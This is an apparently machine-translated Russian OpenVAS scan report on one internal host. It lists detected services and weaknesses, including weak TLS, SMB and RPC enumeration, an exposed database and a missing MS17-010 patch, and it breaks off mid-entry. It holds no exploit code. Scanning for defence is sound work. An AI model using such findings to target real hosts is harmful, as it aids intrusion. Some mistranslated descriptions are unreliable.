1 10.1.1.5 21 tcp Обнаружение баннера FTP Этот плагин обнаруживает баннер FTP-сервера и баннер команды 
«HELP». 

2 10.1.1.5 3389 tcp SSL / TLS: сертификат, 
подписанный с использованием 
алгоритма слабой подписи 

Удаленная служба использует цепочку сертификатов SSL / TLS, которая 
была подписана с использованием криптографически слабого алгоритма 
хэширования. 

3 10.1.1.5 3306 tcp Служит прослушиватель 
Microsoft SQL TCP / IP 

Сервер Microsoft SQL работает на этом порту. 

4 10.1.1.5  icmp Обнаружение метки ICMP Удаленный хост ответил на запрос метки времени ICMP. Timestamp Reply - 
это сообщение ICMP, которое отвечает на сообщение с отметкой времени. 
Он состоит исходящей отметки времени, отправленной отправителем 
временной метки, а также получения метку времени и метку времени 
передачи. Эту информацию теоретически можно было бы использовать 
для использовать слабые временные генераторы случайных чисел в 
других службах. 

5 10.1.1.5 21 tcp Сервисы Эта процедура пытается угадать, какая служба работает на удаленных 
портов. Например, он ищет веб-сервер, который может прослушивать 
другой порт, чем 80 или 443 и делает эту информацию доступной для 
других процедур проверки. 

6 10.1.1.5 49153 tcp Отчеты о перечислении служб 
DCE / RPC и MSRPC 

Службы распределенной вычислительной среды / удаленных процедур 
(DCE / RPC) или MSRPC на удаленном хосте могут быть перечислены 
путем подключения к порту 135 и выполнения соответствующих запросов. 
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7 10.1.1.5 49152 tcp Отчеты о перечислении служб 
DCE / RPC и MSRPC 

Службы распределенной вычислительной среды / удаленных процедур 
(DCE / RPC) или MSRPC на удаленном хосте могут быть перечислены 
путем подключения к порту 135 и выполнения соответствующих запросов. 

8 10.1.1.5 135 tcp Отчеты о перечислении служб 
DCE / RPC и MSRPC 

Службы распределенной вычислительной среды / удаленных процедур 
(DCE / RPC) или MSRPC на удаленном хосте могут быть перечислены 
путем подключения к порту 135 и выполнения соответствующих запросов. 

9 10.1.1.5  HOST-T Резюме хоста Этот NVT обобщает техническую информацию о сканируемом хосте 
собранных во время сканирования. 

10 10.1.1.5 3389 tcp SSL / TLS: сертификат - 
самоподписанное обнаружение 
сертификата 

Сертификат SSL / TLS на этом порту является самозаверяющим. 

11 10.1.1.5 3306 tcp Уязвимость открытого доступа к 
базе данных 

Хост запускает сервер базы данных и подвержен информации уязвимость 
раскрытия. 

12 10.1.1.5 139 tcp Обнаружение сервера SMB / 
CIFS 

Этот скрипт обнаруживает, что порт 445 и 139 открыты и если они 
запускают сервер CIFS / SMB. 

13 10.1.1.5  CPE-T Инвентаризация CPE Эта процедура использует информацию, собранную другими процедурами 
Идентификаторы CPE (http://cpe.mitre.org/) операционных систем, служб и 
приложения, обнаруженные во время сканирования. 

14 10.1.1.5 49156 tcp Уязвимость открытого доступа к 
базе данных 

Хост запускает сервер базы данных и подвержен информации уязвимость 
раскрытия. 

15 10.1.1.5  tcp Временные метки TCP Удаленный хост реализует временные метки TCP и, следовательно, 
позволяет вычислить время безотказной работы. 
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16 10.1.1.5 445 tcp SMB-тест с «smbclient» Этот скрипт проверяет функции SMB удаленного хоста с помощью 
инструмента «smbclient». 

17 10.1.1.5 49154 tcp Отчеты о перечислении служб 
DCE / RPC и MSRPC 

Службы распределенной вычислительной среды / удаленных процедур 
(DCE / RPC) или MSRPC на удаленном хосте могут быть перечислены 
путем подключения к порту 135 и выполнения соответствующих запросов. 

18 10.1.1.5 445 tcp Microsoft Windows SMB Server 
Несколько Уязвимости-
Удаленный (4013389) 

На этом хосте отсутствует критическая защита обновление в соответствии 
с бюллетенем Microsoft MS17-010. 

19 10.1.1.5  tcp Трассировка Трассировка с сервера сканирования на целевую систему была 
проводится. Этот traceroute предоставляется в основном для 
информационных только значение. В подавляющем большинстве случаев 
он не представляет собой уязвимость. Однако, если отображаемый 
traceroute содержит любые частные адреса, которые не должны были быть 
общедоступными, тогда вы есть проблема, которую вы должны исправить. 

20 10.1.1.5 49157 tcp Отчеты о перечислении служб 
DCE / RPC и MSRPC 

Службы распределенной вычислительной среды / удаленных процедур 
(DCE / RPC) или MSRPC на удаленном хосте могут быть перечислены 
путем подключения к порту 135 и выполнения соответствующих запросов. 

21 10.1.1.5 445 tcp Обнаружение удаленной 
версии SMB 

Обнаружение блока сообщений сервера (SMB). Этот скрипт отправляет 
запрос SMB Negotiation и пытается получить версию из ответ. 

22 10.1.1.5 3389 tcp Сервисы Эта процедура пытается угадать, какая служба работает на удаленных 
портов. Например, он ищет веб-сервер, который может прослушивать 
другой порт, чем 80 или 443 и делает эту информацию доступной для 
других процедур проверки. 
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23 10.1.1.5 3389 tcp Обнаружение службы с nmap Этот плагин выполняет обнаружение службы, запустив nmap (nmap -sV) 
для портов, на которых выполняются неопознанные службы. Примечание. 
Этот плагин запускается в конце сканирования для регистрации всех 
оставшихся неизвестных служб. 

24 10.1.1.5 3389 tcp SSL / TLS: Поддерживаемые 
отчеты Cipher Suites 

Эта процедура сообщает обо всех наборах шифрования SSL / TLS, 
принятых службой. Поскольку NVT 'SSL / TLS: Check Supported Cipher 
Suites' (OID: 1.3.6.1.4.1.25623.1.0.900234) может столкнуться с тайм-аут 
фактическая отчетность всех принятых шифровых сюжетов происходит 
именно в этом NVT. Предпочтение сценария «Тайм-аут отчета» позволяет 
настроить, сообщается ли о таком таймауте. 

25 10.1.1.5 445 tcp SMB NativeLanMan Можно извлечь информацию о OS, домене и SMB-сервере из пакета 
Session Setup AndX Response, который создается во время 
аутентификации NTLM. 

26 10.1.1.5 3389 tcp SSL / TLS: сбор и отчет. Этот скрипт собирает и сообщает подробности всех сертификатов SSL / 
TLS. Эти данные будут использоваться другими тестами для проверки 
сертификатов сервера. 

27 10.1.1.5 3389 tcp SSL / TLS: средние Cipher 
Suites 

Эта процедура сообщает обо всех стандартах шифрования SSL / TLS, 
принятых службой. 

28 10.1.1.5 3389 tcp SSL / TLS: отчет без слабых 
шифров 

Эта подпрограмма сообщает о всех незашифрованных шифровых наборах 
SSL / TLS, принятых службой. 

29 10.1.1.5  tcp Консолидация и отчетность ОС Этот скрипт объединяет информацию ОС, обнаруженную несколькими 
NVT, и пытается найти наилучшую подходящую ОС. Кроме того, он 
сообщает всю собранную ранее информацию, ведущую к этой лучшей 
совместимой ОС. В нем также сообщается о возможной дополнительной 
информации что может помочь улучшить обнаружение ОС. Если какая-
либо из этих данных неверна или может быть улучшена, пожалуйста, 
сообщите об этом на openvas-plugins@wald.intevation.org. 
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30 10.1.1.5 445 tcp Обнаружение сервера SMB / 
CIFS 

Этот скрипт обнаруживает, что порт 445 и 139 открыты и если они 
запускают сервер CIFS / SMB. 

31 10.1.1.5 21 tcp Обнаружение версии FileZilla 
Server 

Обнаружение сервера FileZilla Этот скрипт находит версию FileZilla Server 
и задает результат в КБ. 

32 10.1.1.5 3389 tcp SSL / TLS: Сообщить о слабом 
шифре 

Эта процедура сообщает обо всех слабых шифрах SSL / TLS, принятых 
службой. ПРИМЕЧАНИЕ. Серьезность для служб SMTP с «Opportunistic 
TLS» и слабыми наборами шифров на порту 25 / tcp не сообщается. Если 
для этой службы настроены слишком сильные комплекты шифров, 
альтернативой было бы вернуться к еще более неуверенному чистая 
коммуникация. 

33 10.1.1.5 49158 tcp Отчеты о перечислении служб 
DCE / RPC и MSRPC 

Службы распределенной вычислительной среды / удаленных процедур 
(DCE / RPC) или MSRPC на удаленном хосте могут быть перечислены 
путем подключения к порту 135 и выполнения соответствующих запросов. 

34 10.1.1.5 49155 tcp Отчеты о перечислении служб 
DCE / RPC и MSRPC 

Службы распределенной вычислительной среды / удаленных процедур 
(DCE / RPC) или MSRPC на удаленном хосте могут быть перечислены 
путем подключения к порту 135 и выполнения соответствующих запросов. 

35 10.1.1.5 135 tcp Перечисление служб DCE / 
RPC и MSRPC 

Службы распределенной вычислительной среды / удаленных процедур 
(DCE / RPC) или MSRPC на удаленном хосте могут быть перечислены 
путем подключения к порту 135 и выполнения соответствующих запросов. 
Фактическая отчетность происходит в NVT «DCE / RPC и MSRPC Services 
Enumeration Reporting» (OID: 1.3.6.1.4.1.25623.1.0.10736)uzuz 

36 10.1.1.5 49156 tcp Служит прослушиватель 
Microsoft SQL TCP / IP 

 

Сервер Microsoft SQL работает на этом порту. 
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37 10.1.1.5 3306 tcp Сервисы Эта процедура пытается угадать, какая служба работает на удаленных 
портов. Например, он ищет веб-сервер, который может прослушивать 
другой порт, чем 80 или 443 и делает эту информацию доступной для 
других процедур проверки. 

38 10.1.1.5 3389 tcp SSL / TLS: обмен ключами 
Диффи-Хеллмана 
Недостаточная уязвимость 
группы групп DH 

Служба SSL / TLS использует группы Diffie-Hellman с недостаточной 
прочностью (размер ключа 

 

 



 


